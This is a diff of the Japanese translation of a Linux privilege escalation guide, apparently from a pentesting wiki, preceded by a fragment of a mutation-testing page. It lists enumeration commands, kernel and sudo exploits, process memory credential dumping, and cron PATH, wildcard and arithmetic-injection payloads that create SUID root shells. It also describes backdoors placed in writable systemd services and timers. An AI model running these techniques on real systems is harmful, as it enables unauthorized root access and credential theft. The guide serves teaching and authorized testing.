残存変異をトリアージし、変異した振る舞いで失敗するようなテスト/不変条件を作成する。 +- 生存したミュータントをトリアージし、変異した挙動下で失敗するようなテスト/不変条件を書き込む。 - 残高、供給量、認可、イベントをアサートする。 - 境界テストを追加する(`==`、オーバーフロー/アンダーフロー、ゼロアドレス、ゼロ量、空配列)。 -- 現実的でないモックは置き換え、故障モードをシミュレートする。 -- すべての変異が検出(kill)されるか、コメントと根拠で正当化されるまで繰り返す。 +- 非現実的なモックを置き換え、障害モードをシミュレートする。 +- すべてのミュータントが検出(killed)されるか、コメントと合理的な説明で正当化されるまで反復する。 ## References diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index ad6d57eed..8baff8cef 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,36 +6,36 @@ ### OS 情報 -稼働中のOSについての情報収集を始めましょう。 +実行中のOSについての情報を収集しましょう。 ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### パス +### Path -もし**`PATH`変数内の任意のフォルダに書き込み権限がある**場合、いくつかのライブラリやバイナリをハイジャックできる可能性があります: +もし **`PATH` 変数内のいずれかのフォルダに書き込み権限がある** 場合、いくつかのライブラリやバイナリをハイジャックできる可能性があります: ```bash echo $PATH ``` ### 環境情報 -環境変数に興味深い情報やパスワード、APIキーは含まれていますか? +環境変数に興味深い情報、パスワード、またはAPIキーはありますか? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -kernel versionを確認し、exploitがescalate privilegesに使えるか確認する +カーネルのバージョンを確認し、escalate privilegesに使用できるexploitがあるか確認する ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -良い脆弱な kernel のリストといくつかの既に **compiled exploits** は次で見つけられます: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) および [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -他にも **compiled exploits** を入手できるサイト: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +良質な脆弱なカーネルのリストや、既に **compiled exploits** があるものは次で見つかります: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) と [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +その他、いくつかの **compiled exploits** が見つかるサイト: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -その web から脆弱な kernel バージョンをすべて抽出するには、次のようにします: +そのサイトからすべての脆弱なカーネルバージョンを抽出するには、次のようにします: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` @@ -43,9 +43,9 @@ kernel exploits を検索するのに役立つツールは次のとおりです: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)(victim上で実行、kernel 2.x 向けの exploit のみをチェック) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (victim 上で実行、kernel 2.x の exploits のみチェック) -常に **Google で kernel version を検索してください**。あなたの kernel version が既知の exploit に記載されている場合があり、その場合その exploit が有効であることを確認できます。 +Always **search the kernel version in Google**, maybe your kernel version is written in some kernel exploit and then you will be sure that this exploit is valid. ### CVE-2016-5195 (DirtyCow) @@ -57,13 +57,13 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo version +### Sudo バージョン -以下に表示される脆弱な sudo バージョンに基づいて: +次に示す脆弱な sudo バージョンに基づいて: ```bash searchsploit sudo ``` -この grep を使って sudo のバージョンが脆弱かどうかを確認できます。 +この grep を使用して、sudo のバージョンが脆弱かどうかを確認できます。 ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -73,20 +73,20 @@ sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\. ``` sudo -u#-1 /bin/bash ``` -### Dmesg の署名検証に失敗 +### Dmesg: 署名の検証に失敗しました -**smasher2 box of HTB** を確認して、この vuln がどのように悪用され得るかの **例** を参照してください +**smasher2 box of HTB**を確認して、このvulnがどのように悪用され得るかの**例**を参照してください。 ```bash dmesg 2>/dev/null | grep "signature" ``` -### 追加のシステム列挙 +### より詳細なシステム列挙 ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## 考えられる防御策を列挙 +## 可能な防御策を列挙する ### AppArmor ```bash @@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -もし docker container の中にいる場合、そこから脱出を試みることができます: +もし docker container の中にいるなら、そこから脱出を試みることができます: {{#ref}} docker-security/ @@ -131,7 +131,7 @@ docker-security/ ## ドライブ -何が**マウントされているか/されていないか**、どこにあり、なぜそうなっているのかを確認してください。もし何かがアンマウントされている場合は、それをマウントして個人情報がないか確認してみてください。 +**どのディレクトリがマウントされていて、どれがアンマウントされているか**、どこに、なぜを確認してください。もし何かがアンマウントされているなら、それをマウントして機密情報がないか確認してみてください。 ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -140,60 +140,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## 有用なソフトウェア -有用な binaries を列挙する +有用なバイナリを列挙する ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -また、**any compiler is installed** がインストールされているか確認してください。これは、いくつかの kernel exploit を使用する必要がある場合に役立ちます。実行するマシン(またはそれに類似したマシン)上でコンパイルすることが推奨されているからです。 +また、**コンパイラがインストールされているか**確認してください。これは、kernel exploitを使用する必要がある場合に役立ちます。kernel exploitは、使用するマシン(または同様のマシン)でコンパイルすることが推奨されるためです。 ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### 脆弱なソフトウェアがインストールされている -**インストールされているパッケージやサービスのバージョン**を確認してください。例えば、古いNagiosのバージョンが存在し、権限昇格に悪用される可能性があります…\ -疑わしいソフトウェアについては、インストールされているバージョンを手動で確認することを推奨します。 +**インストール済みパッケージとサービスのバージョン**を確認してください。例えば、古い Nagios バージョンが存在し、escalating privileges のために悪用される可能性があります…\ +より疑わしいインストール済みソフトウェアのバージョンは手動で確認することを推奨します。 ```bash dpkg -l #Debian rpm -qa #Centos ``` -マシンにSSHでアクセスできる場合、マシン内にインストールされている古く脆弱なソフトウェアをチェックするために、**openVAS** を使用することもできます。 +If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. -> [!NOTE] > _これらのコマンドは大量の情報を表示し、その多くはほとんど役に立たないことに注意してください。したがって、インストールされているソフトウェアのバージョンが既知の exploits に対して脆弱かどうかをチェックする OpenVAS のようなアプリケーションを使用することを推奨します_ +> [!NOTE] > _これらのコマンドは大量の情報を表示し、その多くはほとんど役に立たないため、インストールされているソフトウェアのバージョンが既知のexploitsに対して脆弱かどうかをチェックするOpenVASのようなアプリケーションの使用を推奨します_ ## プロセス -どの**プロセス**が実行されているかを確認し、どのプロセスが**本来より多くの権限を持っている**かをチェックしてください(例えば tomcat が root によって実行されているかもしれません) +どの**プロセス**が実行されているかを確認し、どのプロセスが**本来持つべき以上の権限**を持っていないかをチェックしてください(例えば tomcat が root によって実行されているなど?) ```bash ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** はプロセスのコマンドライン内の `--inspect` パラメータをチェックしてそれらを検出します。\ -また、**プロセスの binaries に対する権限も確認してください**。誰かのバイナリを上書きできるかもしれません。 +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +Also **check your privileges over the processes binaries**, maybe you can overwrite someone. -### Process monitoring +### プロセス監視 -[**pspy**](https://github.com/DominicBreuker/pspy) のようなツールを使ってプロセスを監視できます。これは、頻繁に実行される、あるいは特定の条件が満たされたときに脆弱なプロセスを特定するのに非常に有用です。 +You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met. -### Process memory +### プロセスのメモリ -一部のサービスはサーバーのメモリ内に**認証情報を平文で保存**します。\ -通常、他のユーザーに属するプロセスのメモリを読み取るには **root privileges** が必要になるため、これは一般的に既に root の場合にさらに認証情報を発見するために有用です。\ -しかし、**通常のユーザーとしては自分が所有するプロセスのメモリを読むことができる**ことを忘れないでください。 +Some services of a server save **credentials in clear text inside the memory**.\ +Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\ +However, remember that **as a regular user you can read the memory of the processes you own**. > [!WARNING] -> 最近のほとんどのマシンではデフォルトで **ptrace を許可していない** ため、権限のないユーザーが所有する他プロセスをダンプできない点に注意してください。 +> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. > -> ファイル _**/proc/sys/kernel/yama/ptrace_scope**_ は ptrace のアクセス性を制御します: +> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: 同じ uid であればすべてのプロセスをデバッグ可能。これは従来の ptrace の動作です。 -> - **kernel.yama.ptrace_scope = 1**: 親プロセスのみデバッグ可能。 -> - **kernel.yama.ptrace_scope = 2**: CAP_SYS_PTRACE が必要となり、管理者のみが ptrace を使用可能。 -> - **kernel.yama.ptrace_scope = 3**: ptrace でトレースできるプロセスはなし。設定後に再起動が必要でないと ptrace を有効にできません。 +> - **kernel.yama.ptrace_scope = 0**: 同じ uid であれば全てのプロセスをデバッグできます。これは従来の ptracing の動作方法です。 +> - **kernel.yama.ptrace_scope = 1**: デバッグできるのは親プロセスのみです。 +> - **kernel.yama.ptrace_scope = 2**: ptrace を使用できるのは管理者のみで、CAP_SYS_PTRACE capability が必要です。 +> - **kernel.yama.ptrace_scope = 3**: ptrace でトレースできるプロセスはありません。一度設定すると、ptracing を再度有効にするには再起動が必要です。 #### GDB -FTP サービスなどのメモリにアクセスできる場合、Heap を取得してその中の認証情報を検索できるかもしれません。 +If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. ```bash gdb -p (gdb) info proc mappings @@ -202,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB Script +#### GDB スクリプト ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -指定したプロセスIDについて、**maps は当該プロセスの仮想アドレス空間内でメモリがどのようにマップされているかを示し**、各マップ領域の**アクセス権(permissions)も表示します**。擬似ファイル **mem** は**プロセス自身のメモリ本体を公開します**。**maps** ファイルから、どの**メモリ領域が読み取り可能(readable)か**とそのオフセットが分かります。この情報を使って、**mem ファイル内をシークし、読み取り可能なすべての領域をダンプして**ファイルに保存します。 +あるプロセスIDについて、**maps はそのプロセス内でメモリがどのようにマッピングされているかを示します** 仮想アドレス空間; また、**各マッピング領域のアクセス権** を表示します。**mem** 疑似ファイルは**プロセスのメモリ自体を露出します**。**maps** ファイルからどの **メモリ領域が読み取り可能か** とそのオフセットがわかります。この情報を使って**mem ファイル内をシークし、読み取り可能な領域をすべてファイルにダンプします**。 ```bash procdump() ( @@ -230,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem`はシステムの**物理**メモリへのアクセスを提供し、仮想メモリではありません。カーネルの仮想アドレス空間には /dev/kmem を使用してアクセスできます。\ -通常、`/dev/mem`は**root**およびkmemグループのみが読み取り可能です。 +`/dev/mem` はシステムの**物理**メモリにアクセスするためのもので、仮想メモリにはアクセスしません。カーネルの仮想アドレス空間には /dev/kmem を使用してアクセスできます。\ +通常、`/dev/mem` は **root** と **kmem** グループのみが読み取り可能です。 ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump for linux -ProcDumpは、Windows用のSysinternalsツールスイートにある定番ProcDumpツールをLinux向けに再構想したものです。入手は[https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDumpは、SysinternalsのツールスイートにあるクラシックなProcDumpツールをlinux向けに再構想したものです。入手はこちら: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -269,35 +269,35 @@ Press Ctrl-C to end monitoring without terminating the process. プロセスのメモリをダンプするには、次を使用できます: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_root 要件を手動で削除して、あなたが所有するプロセスをダンプできます -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root が必要) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_rootの要件を手動で削除して、自分が所有するプロセスをダンプできます +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root が必要です) -### プロセスのメモリからの認証情報 +### プロセスメモリからの認証情報 #### 手動の例 -authenticator プロセスが実行されている場合: +もしauthenticatorプロセスが実行されていることを見つけたら: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -プロセスをダンプして(プロセスのメモリをダンプするさまざまな方法は前のセクションを参照)メモリ内の認証情報を検索できます: +プロセスをdump(プロセスのメモリをdumpするさまざまな方法は前のセクションを参照)して、メモリ内のcredentialsを検索できます: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -ツール [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) はメモリから**平文の資格情報を盗み**、いくつかの**既知のファイル**からも取得します。正常に動作するにはroot権限が必要です。 +The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) は、**メモリから平文の認証情報を窃取**し、いくつかの**よく知られたファイル**からも取得します。正しく動作させるには root 権限が必要です。 | 機能 | プロセス名 | -| ------------------------------------------------- | ---------------------- | -| GDM password (Kali Desktop, Debian Desktop) | gdm-password | -| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | -| LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Active FTP Connections) | vsftpd | -| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | -| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | +| ------------------------------------------------- | -------------------- | +| GDM パスワード (Kali Desktop, Debian Desktop) | gdm-password | +| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | +| LightDM (Ubuntu Desktop) | lightdm | +| VSFTPd (アクティブな FTP 接続) | vsftpd | +| Apache2 (アクティブな HTTP Basic 認証セッション) | apache2 | +| OpenSSH (アクティブな SSH セッション - sudo 使用時) | sshd: | #### 検索用正規表現/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -313,23 +313,23 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## スケジュール/Cron ジョブ +## スケジュールされた/Cron jobs -### Crontab UI (alseambusher) running as root – web-based scheduler privesc +### Crontab UI (alseambusher) が root として実行されている — web-based scheduler privesc -もし web の “Crontab UI” パネル (alseambusher/crontab-ui) が root として動作し、loopback にのみバインドされている場合でも、SSH のローカルポートフォワーディングでアクセスして特権ジョブを作成し権限昇格できます。 +もし web “Crontab UI” パネル (alseambusher/crontab-ui) が root として実行され、loopback にのみバインドされている場合でも、SSH のローカルポートフォワーディングでアクセスして特権ジョブを作成し権限昇格できます。 -典型的な手順 -- `ss -ntlp` / `curl -v localhost:8000` を使って、loopback のみのポート(例: 127.0.0.1:8000)と Basic-Auth realm を発見する -- 運用アーティファクトから認証情報を見つける: -- バックアップ/スクリプト(`zip -P ` を使用) -- systemd ユニットが `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` を公開している +典型的なチェーン +- loopback-only port(例: 127.0.0.1:8000)と Basic-Auth realm を `ss -ntlp` / `curl -v localhost:8000` で発見 +- 運用アーティファクトから credentials を見つける: + - バックアップ/スクリプト内の `zip -P ` + - systemd ユニットで `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` を公開している - トンネルしてログイン: ```bash ssh -L 9001:localhost:8000 user@target # browse http://localhost:9001 and authenticate ``` -- 高権限のジョブを作成して直ちに実行する (drops SUID shell): +- high-priv job を作成して即実行する(SUID shell を落とす): ```bash # Name: escalate # Command: @@ -340,39 +340,39 @@ cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell /tmp/rootshell -p # root shell ``` ハードニング -- Crontab UI を root で実行しない; 専用ユーザーと最小限の権限で制限する -- localhost にバインドし、さらに firewall/VPN でアクセスを制限する; パスワードを使い回さない -- unit files にシークレットを埋め込まない; secret stores または root のみアクセス可能な EnvironmentFile を使用する -- オンデマンドのジョブ実行に対して audit/logging を有効にする +- Crontab UI を root で実行しない。専用ユーザーと最小権限で制限すること +- localhost にバインドし、さらに firewall/VPN でアクセスを制限する。パスワードを再利用しないこと +- unit files に secrets を埋め込まない。secret stores または root-only EnvironmentFile を使用すること +- オンデマンドジョブ実行の監査/ログを有効にすること -スケジュールされたジョブが脆弱かどうか確認する。root によって実行されるスクリプトを利用できるかもしれない(wildcard vuln? root が使用するファイルを変更できるか? use symlinks? root が使用するディレクトリに特定のファイルを作成する?)。 +スケジュールされたジョブに脆弱性がないか確認すること。root によって実行されるスクリプトを利用できるかもしれない(wildcard vuln? root が使用するファイルを変更できるか? symlinks を使う? root が使うディレクトリに特定のファイルを作成する?) ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron パス +### Cron path -例えば、_/etc/crontab_ の中に PATH を見つけることができます: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +例えば、_/etc/crontab_ の中には次のような PATH が設定されています: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_ユーザー "user" が /home/user に書き込み権限を持っていることに注意_) +(ユーザー "user" が /home/user に書き込み権限を持っていることに注意) -この crontab 内で root が PATH を設定せずにコマンドやスクリプトを実行しようとする場合。例えば: _\* \* \* \* root overwrite.sh_\ -すると、次のようにして root シェルを取得できます: +この crontab 内で root ユーザーが PATH を設定せずにコマンドやスクリプトを実行しようとした場合。例えば: _\* \* \* \* root overwrite.sh_\ +そうすると、root shell を取得できます: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron がワイルドカードを含むスクリプトを使用している場合 (Wildcard Injection) +### Cron using a script with a wildcard (Wildcard Injection) -スクリプトが root によって実行され、コマンド内に “**\***” が含まれている場合、これを悪用して意図しない動作(例えば privesc)を引き起こすことができます。例: +rootによって実行されるスクリプトのコマンド内に “**\***” が含まれている場合、それを悪用して予期しないこと(privescなど)を引き起こせる可能性があります。例: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**ワイルドカードが次のようなパスの前にある場合** _**/some/path/\***_ **、脆弱ではありません(_**./\***_ **も脆弱ではありません)。** +**ワイルドカードがパスの前にある場合(例:** _**/some/path/\***_ **)、脆弱ではありません(_**./\***_ **も同様です)。** -Read the following page for more wildcard exploitation tricks: +以下のページも参照して、ワイルドカードの悪用トリックを確認してください: {{#ref}} @@ -380,13 +380,13 @@ wildcards-spare-tricks.md {{#endref}} -### Bash arithmetic expansion injection in cron log parsers +### cron ログパーサにおける Bash arithmetic expansion injection -Bash は ((...))、$((...)) および let 内で算術評価を行う前に parameter/variable expansion と command substitution を実行します。もし root の cron/パーサが信頼できないログフィールドを読み取りそれを算術コンテキストに渡すと、攻撃者はコマンド置換 $(...) を注入でき、cron 実行時に root として実行されます。 +Bash は parameter expansion と command substitution を ((...)), $((...)) および let の算術評価前に行います。もし root cron/parser が信頼できないログフィールドを読み取り、それを算術コンテキストに渡すと、攻撃者は command substitution $(...) を注入でき、cron 実行時に root として実行されます。 -- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. +- なぜ動作するか: Bash では展開が次の順序で発生します: parameter/variable expansion、command substitution、arithmetic expansion、その後に word splitting と pathname expansion。したがって `$(/bin/bash -c 'id > /tmp/pwn')0` のような値はまず置換され(コマンドが実行され)、残った数値の `0` が算術に使われるためスクリプトはエラーなく続行されます。 -- Typical vulnerable pattern: +- 典型的な脆弱パターン: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -396,38 +396,38 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: パースされるログに攻撃者制御のテキストを書き込み、数値に見えるフィールドがコマンド置換 $(...) を含み末尾が数字になるようにします。算術式が有効になるように、コマンドが stdout に出力しない(またはリダイレクトする)ことを確認してください。 +- 利用手順: 攻撃者が制御するテキストを解析対象のログに書き込ませ、数値に見えるフィールドが command substitution を含みかつ末尾が数字になるようにします。コマンドが stdout に出力しない(またはリダイレクトする)ようにして、算術が有効なままにしてください。 ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 # When the root cron parser evaluates (( total += count )), your command runs as root. ``` -### Cron script overwriting and symlink +### Cron スクリプトの上書きと symlink -root によって実行される **cron script を修正できる** なら、非常に簡単に shell を取得できます: +もし root によって実行される **cron スクリプトを変更できる** なら、非常に簡単にシェルを取得できます: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -root によって実行されるスクリプトがあなたが完全にアクセスできる **ディレクトリ** を使用している場合、そのフォルダを削除して、あなたが制御するスクリプトを置いた別のフォルダへの **シンボリックリンクフォルダを作成する** ことが有用かもしれません。 +root によって実行される script が **directory where you have full access** を使用している場合、その folder を削除して、あなたが制御する script を配置した別の場所に **create a symlink folder to another one** することが有効かもしれません。 ```bash ln -d -s ``` -### 頻繁に実行される cron jobs +### 頻繁な cron jobs -1、2、5 分ごとに実行されている processes を探すために監視できます。場合によってはそれを利用して privileges を escalate できるかもしれません。 +プロセスを監視して、1分、2分、5分ごとに実行されているプロセスを探すことができます。 それを利用して、escalate privileges できるかもしれません。 -例えば、**1 分間 0.1 秒ごとに監視する**、**実行回数の少ないコマンドでソートする**、そして最も多く実行されたコマンドを削除するには、次のようにします: +例えば、**1分間0.1秒ごとに監視し**、**実行回数の少ないコマンドでソートし**、最も多く実行されたコマンドを削除するには、次のようにします: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**次のツールも使用できます** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (これは開始されるすべてのプロセスを監視して一覧表示します). +**次のツールも使えます** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (これは起動するすべてのプロセスを監視して一覧表示します)。 -### 見えない cron jobs +### 見えない cron ジョブ -コメントの後に**キャリッジリターンを入れる**(改行文字なし)ことで cronjob を作成でき、cron job は動作します。例(キャリッジリターン文字に注意): +コメントの後に**キャリッジリターンを入れる(newline 文字ではなく)**ことで cronjob を作成でき、cron ジョブは動作します。例(キャリッジリターン文字に注意): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -435,85 +435,85 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### 書き込み可能な _.service_ ファイル -任意の `.service` ファイルに書き込みできるか確認してください。可能であれば、**変更**してサービスが**開始**、**再起動**、または**停止**されたときにあなたの**backdoor**を**実行**するようにできます(マシンを再起動するまで待つ必要があるかもしれません)。\ -例えば、`.service` ファイル内にあなたの backdoor を作成し、**`ExecStart=/tmp/script.sh`** を指定します。 +任意の `.service` ファイルに書き込みできるか確認してください。書き込み可能なら、**それを変更して** サービスが**開始**、**再起動**、または**停止**したときにあなたの**backdoorを実行する**ようにすることができます(マシンの再起動を待つ必要があるかもしれません)。\ +例えば、.service ファイル内にあなたの backdoor を作成し、**`ExecStart=/tmp/script.sh`** のように設定します -### 書き込み可能な service バイナリ +### 書き込み可能なサービスバイナリ -サービスによって実行されるバイナリに対して**write permissions over binaries being executed by services**がある場合、それらを backdoor に置き換えることで、サービスが再実行されたときに backdoor が実行されます。 +サービスによって実行されるバイナリに対する**書き込み権限がある**場合、それらを backdoor に置き換えることができ、サービスが再実行されたときに backdoor が実行されるようになります。 ### systemd PATH - 相対パス -次のコマンドで**systemd**が使用する PATH を確認できます: +次のコマンドで **systemd** が使用する PATH を確認できます: ```bash systemctl show-environment ``` -パス内の任意のフォルダに**write**できることが分かった場合、**escalate privileges**できる可能性があります。サービス設定ファイルで**relative paths being used on service configurations**のような記述を検索する必要があります: +パス内の任意のフォルダに**書き込み**ができることが分かれば、**escalate privileges**できる可能性があります。以下のような、サービス設定ファイルで**相対パスが使用されている**かを探す必要があります: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -次に、書き込み可能な systemd の PATH フォルダ内に、相対パスのバイナリと同じ名前の**実行可能ファイル**を作成し、サービスが脆弱なアクション(**Start**、**Stop**、**Reload**)を実行するよう要求されると、あなたの**バックドアが実行されます**(通常、権限のないユーザーはサービスの開始/停止を実行できませんが、`sudo -l` が使えるか確認してください)。 +次に、書き込み可能な systemd PATH フォルダ内に、相対パスのバイナリと**同じ名前**の**executable**を作成してください。サービスが脆弱なアクション(**Start**, **Stop**, **Reload**)を実行するよう要求されると、あなたの**backdoor**が実行されます(非特権ユーザーは通常サービスを start/stop できませんが、`sudo -l` が使えるか確認してください)。 -**サービスについては `man systemd.service` を参照してください。** +**サービスの詳細は `man systemd.service` を参照してください。** -## **タイマー** +## **Timers** -**タイマー**は名前が `**.timer**` で終わる systemd ユニットファイルで、`**.service**` ファイルやイベントを制御します。**タイマー**はカレンダー時間イベントや単調時間イベントをネイティブにサポートし、非同期で実行できるため、cron の代替として使用できます。 +**Timers** は名前が `**.timer**` で終わる systemd ユニットファイルで、`**.service**` ファイルやイベントを制御します。**Timers** はカレンダー時間イベントや単調時間イベントの組み込みサポートがあり、非同期で実行できるため、cron の代替として使用できます。 すべてのタイマーは次のコマンドで列挙できます: ```bash systemctl list-timers --all ``` -### 書き込み可能な timers +### 書き込み可能なタイマー -もし timer を変更できるなら、systemd.unit の既存のユニット(例えば `.service` や `.target`)を実行させることができます。 +もしタイマーを変更できるなら、systemd.unit の既存のユニット(例えば `.service` や `.target`)を実行させることができます。 ```bash Unit=backdoor.service ``` -ドキュメントには Unit が何か次のように書かれています: +ドキュメントには Unit が何であるか次のように説明されています: -> このタイマーが満了したときに起動される unit。引数は接尾辞が ".timer" でない unit 名です。指定されない場合、この値はタイマー unit と同じ名前(接尾辞を除く)を持つ service にデフォルトされます。(上記参照。)起動される unit 名とタイマー unit の unit 名は、接尾辞を除いて同一にすることが推奨されます。 +> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. 